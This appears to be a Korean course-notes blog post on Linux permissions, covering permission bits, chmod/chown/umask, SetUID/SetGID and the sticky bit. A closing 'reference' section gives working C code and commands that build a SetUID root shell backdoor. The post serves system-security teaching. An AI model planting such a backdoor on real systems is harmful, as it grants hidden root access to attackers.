1. 리눅스 퍼미션
퍼미션 | 8진수 | 파일 | 디렉토리 |
r : read | 4 | cat, more, less, head, tail, vi | ls |
w : write | 2 | 편집기(vi, vim, gedit), >, >> | 파일 및 디렉토리 이름 변경, 생성/삭제 |
x : exectue | 1 | ./testfile | cd, 경로 지정 |
- : denied | 0 | 권한 없음 | 권한 없음 |
1-1. 파일 퍼미션
r : 파일을 읽을 수 있다.
w : 파일을 수정할 수 있다.
x: 파일을 실행할 수 있다.
- 읽기/쓰기(rw-) : 6 for 파일 수정
1-2. 디렉토리 퍼미션
r : ls 명령어를 이용하여 디렉토리 안에 있는 내용을 볼수 있다.
w : 디렉토리 안에 파일 또는 디렉토리를 생성/삭제/이름 변경 및 복사할 수 있다.
x : cd 명령어로 디렉토리를 이동할 수 있다. 또는 디렉토리 경로 지정을 할 수 있다.
- 읽기/실행(r-x) : 5 for 파일 수정
2. 퍼미션 관련 명령어
chown #(-R : 하위 그룹까지 적용)
chgrp #(-R : 하위 그룹까지 적용)
chmod #(+/-/=, 1.심볼릭 모드 u/g/o/a, r/w/x/- 2. 수치모드)
umask #(기본퍼미션 값 조정, default: -022)
3. SetUID / SetGID 와 Sticky bit
- SetUID : 일반 계정이 SetUID가 설정된 파일을 실행하면, 그 파일의 소유자 권한을 할당해주는 기능을 수행하는 특수 권한이다. (예 : /usr/bin/chsh, /usr/bin/passwd)
- Sticky bit : 특정 디렉토리를 공용 디렉토리 목적으로 사용할 경우, 사용자들에 의해서 파일을 생성할 수 있으나, 파일을 수정/삭제할 수 없도록 제한 할 경우 사용하는 기능이다. 디렉토리 기본 퍼미션이 '777'인 경우 사용할 수 있다. (예 : /tmp)
SetUID(4nnnn) | SetGID(2nnn) | Sticky bit(1nnn) | |
--s --- --- | --- --s --- | --- --- --t | 실행(x)가 있는 경우, 소문자 표기 |
--S --- --- | --- --S --- | --- --- --T | 실행(x)가 없는 경우, 대문자 표기 |
[참고] SetUID를 이용한 백도어 만들기
vi backdoor.c
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
yum -y install gcc
gcc -o bashshell backdoor.c
chmod 4755 bashshell
'메가IT아카데미 국기과정 > 리눅스와 시스템보안' 카테고리의 다른 글
[1-8] 리눅스 프로세스 (0) | 2022.09.11 |
---|---|
[1-7] 리눅스 쉘 (0) | 2022.09.11 |
[1-5] vi 편집기 (0) | 2022.09.11 |
[1-4] 압축 및 아카이빙 (0) | 2022.09.11 |
[1-3] 계정 생성 및 관리 (0) | 2022.09.11 |